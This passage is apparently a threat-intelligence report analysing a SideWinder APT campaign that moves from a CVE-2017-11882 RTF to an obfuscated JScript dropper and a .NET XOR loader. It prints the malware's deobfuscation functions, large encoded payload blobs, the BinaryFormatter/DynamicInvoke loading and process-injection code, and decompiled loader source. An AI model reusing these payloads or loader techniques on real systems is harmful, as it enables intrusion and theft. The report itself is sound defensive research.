CyberThreatIntel/Indian/APT/SideWinder/25-12-19/analysis.md

1577 lines
381 KiB
Markdown
Raw Normal View History

2019-12-27 13:09:56 +00:00
# SideWinder same targets, same TTPs, time to counter-attack !
## Table of Contents
* [Malware analysis](#Malware-analysis)
2019-12-28 14:51:30 +00:00
+ [The initial vector](#Initial)
+ [JS Script](#JS)
+ [EFS REKEY](#EFS)
+ [The loader](#loader)
+ [The final implant](#implant)
2019-12-27 13:09:56 +00:00
* [Threat Intelligence](#Intel)
2019-12-28 19:03:25 +00:00
+ [Files push in Appdata](#Files)
2019-12-28 14:51:30 +00:00
+ [Military activities in India](#Military)
2019-12-27 13:09:56 +00:00
* [Cyber kill chain](#Cyber-kill-chain)
* [Indicators Of Compromise (IOC)](#IOC)
* [Yara Rules](#Yara)
* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
* [Knowledge Graph](#Knowledge)
* [Links](#Links)
+ [Original Tweet](#tweet)
+ [Link Anyrun](#Links-Anyrun)
+ [Ressources](#Ressources)
<h2>Malware analysis <a name="Malware-analysis"></a></h2>
2019-12-28 14:51:30 +00:00
<h3>The initial vector<a name="Initial"></a></h3>
2019-12-28 21:29:59 +00:00
<h6>The initial vector is an RTF file who use a well-know vulnerability (CVE-2017-11882) for execute a js script (1.a) form the package of OLE objects.</h6>
2019-12-27 13:09:56 +00:00
<p align="center">
2019-12-27 19:23:58 +00:00
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/RTF_objects.PNG">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/obj1.PNG">
</p>
2019-12-28 21:29:59 +00:00
<h6>We can observe on the code of the exploit that jump and rebuild the command to execute.</h6>
2019-12-27 19:23:58 +00:00
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/obj2.PNG">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/exploit.png">
2019-12-27 13:09:56 +00:00
</p>
2019-12-28 14:51:30 +00:00
<h3>JS Script<a name="JS"></a></h3>
2019-12-27 19:23:58 +00:00
<h6>As first, we can observe that a series of functions are used for obfuscate the criticals parts of the script.</h6>
2019-12-27 20:06:15 +00:00
```javascript
var OaXQT = ActiveXObject;
var cRKGlc = String.fromCharCode;
function RDDb(str)
{
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXY"+"Zabcdefghijklmnopqrstuvwxyz0123456789+/="
var b, result = "", r1, r2, i = 0;
for (; i < str.length;)
{
b = b64.indexOf(str.charAt(i++)) << 18 | b64.indexOf(str.charAt(i++)) << 12 |(r1 = b64.indexOf(str.charAt(i++))) << 6 | (r2 = b64.indexOf(str.charAt(i++)));
result += r1 === 64 ? cRKGlc(b >> 16 & 255) : r2 === 64 ? cRKGlc(b >> 16 & 255, b >> 8 & 255) : cRKGlc(b >> 16 & 255, b >> 8 & 255, b & 255);
}
return result;
};
function SJnEuQM (key, bytes)
{
var res = [];
for (var i = 0; i < bytes.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(cRKGlc((bytes.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= bytes.length) {j = key.length;}
}
}
return res.join("")
}
function EvpTXkLe(bsix){ return SJnEuQM(keeee,RDDb(bsix))}
var keeee = SJnEuQM("YjfT",RDDb("altWY2"+"hcV2xq"+"XA=="));
```
2019-12-28 21:29:59 +00:00
<h6>This series of functions perform the decryption of the base64 and xor by a constant encoded key (keeee), this can be merged on one single next function.</h6>
2019-12-27 20:06:15 +00:00
```javascript
function EvpTXkLe(bytes)
{
var b,b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",result = "",r1,r2, i = 0,res = [],key ="3107161836";
for (; i < bytes.length;)
{
b = b64.indexOf(bytes.charAt(i++)) << 18 | b64.indexOf(bytes.charAt(i++)) << 12 |(r1 = b64.indexOf(bytes.charAt(i++))) << 6 | (r2 = b64.indexOf(bytes.charAt(i++)));
result += r1 === 64 ? String.fromCharCode(b >> 16) : r2 === 64 ? String.fromCharCode(b >> 16 & 255, b >> 8 & 255) : String.fromCharCode(b >> 16 & 255, b >> 8 & 255, b & 255);
}
for (var i = 0; i < result.length; ) {
for (var j = 0; j < key.length; j++) {
res.push(String.fromCharCode((result.charCodeAt(i)) ^ key.charCodeAt(j)));
i++;
if (i >= result.length) { j = key.length;}
}
}
return res.join("")
}
var data= EvpTXkLe("Data to decrypt")
console.log(data)
```
2019-12-28 21:29:59 +00:00
<h6>The first block inside the try/catch is for initialize the position of the window outside the display and payload to inject in the process.</h6>
2019-12-27 20:06:15 +00:00
```javascript
var mst = null;
var FSO = null;
window.resizeTo(1, 1);
window.moveTo(-1000, -1200);
var shells = new ActiveXObject("WScript.Shell");
var so = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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
```
2019-12-28 21:29:59 +00:00
<h6>The next block is two functions one used for writing the payload at inject and the second for check the version .NET on the system.</h6>
2019-12-27 20:06:15 +00:00
2019-12-27 19:23:58 +00:00
```javascript
2019-12-27 20:06:15 +00:00
function write_payload(b)
{
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
mst = new ActiveXObject("System.IO.MemoryStream");
mst.Write(ba, 0, (length / 4) * 3);
mst.Position = 0;
}
function check_NET_version()
{
var net = "",folder;
var folds = FSO.GetFolder(FSO.GetSpecialFolder(0)+"\Microsoft.NET\Framework\").SubFolders;
e = new Enumerator(folds);
e.moveFirst();
do
{
folder = e.item();
var files = folder.files;
var fileEnum = new Enumerator(files);
fileEnum.moveFirst();
while(fileEnum.atEnd() == false)
{
if(fileEnum.item().Name == "csc.exe")
{
if(folder.Name.substring(0,2) == "v2") {return "v2.0.50727"}
else if(folder.Name.substring(0,2) == "v4") { return "v4.0.30319"}
}
fileEnum["moveNext"]();
}
e["moveNext"]();
}while (e.atEnd() == false)
return folder.Name;
}
2019-12-27 19:23:58 +00:00
```
2019-12-28 21:29:59 +00:00
<h6>The last block contains the vulnerable legit software and a well-know loader used by Sidewinder, this run the correct version to use in .NET by an Dynamicinvoke.</h6>
2019-12-27 23:00:17 +00:00
```javascript
ver = "v2.0.50727";
try
{
FSO = new ActiveXObject("Scripting.FileSystemObject");
ver = check_NET_version();
}
catch(e) { ver = "v2.0.50727";}
shells.Environment("Process")("COMPLUS_Version'") = ver;;
write_payload(so);
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var al = new ActiveXObject("System.Collections.ArrayList");
var d = fmt["Deserialize_2"](mst);
al.Add(undefined);
var o = d["DynamicInvoke"](al.ToArray())["CreateInstance"]("StInstaller.Program");
var x = "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";
var y = "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
var m = o.Work;
```
2019-12-28 21:29:59 +00:00
<h6>Finally still execute the process with loader and the code to inject by process injection if throws an exception and close the window whatever the result.</h6>
2019-12-27 23:00:17 +00:00
```javascript
try
{
try
{
[previous code described]
}
catch (e) {o["Work"](x,y,"202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8");}
finally{window.close();}
```
###### We can note that ``` 202/KfzLXf6NisWqPtYOrrQYJfzErkCyS8ib8dz3QSsN/1115/2280/16331af8 ``` show like an internal reference for the SideWinder group, this is used as identifier in the communications with the C2 for the data sent. The path of the origin directory is encoded in base 64.
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/comC2.PNG">
</p>
2019-12-28 14:51:30 +00:00
<h3>EFS REKEY<a name="EFS"></a></h3>
2019-12-28 21:29:59 +00:00
<h6>The first software is a legit wizard EFS REKEY of Microsoft know as rekeywiz.exe. This can do the certificates for the EFS. We can confirm it on the code of the software.</h6>
2019-12-28 00:26:56 +00:00
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/leg_cert_EFS_keys.png">
</p>
<p align="center">
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Indian/APT/SideWinder/25-12-19/Pictures/leg_load_EFS_keys.png">
</p>
2019-12-28 14:51:30 +00:00
<h3>The loader<a name="loader"></a></h3>
2019-12-27 23:00:17 +00:00
<h6> On the dotnet loader, we can load an instance from the code extracted by the module. This module use an xor in a loop of the bytes for get the payload to execute. </h6>
```csharp
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace Module
{
// Token: 0x02000002 RID: 2
public static class Program
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000450
static Program()
{
byte[] array = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "bGy1elg.tmp ".Trim()));
byte[] array2 = new byte[array.Length - 32];
Buffer.BlockCopy(array, 32, array2, 0, array2.Length);
for (int i = 0; i < array2.Length; i++)
{
byte[] array3 = array2;
int num = i;
array3[num] ^= array[i % 32];
}
Program._assembly = Assembly.Load(array2);
}
// Token: 0x06000002 RID: 2 RVA: 0x000020C5 File Offset: 0x000004C5
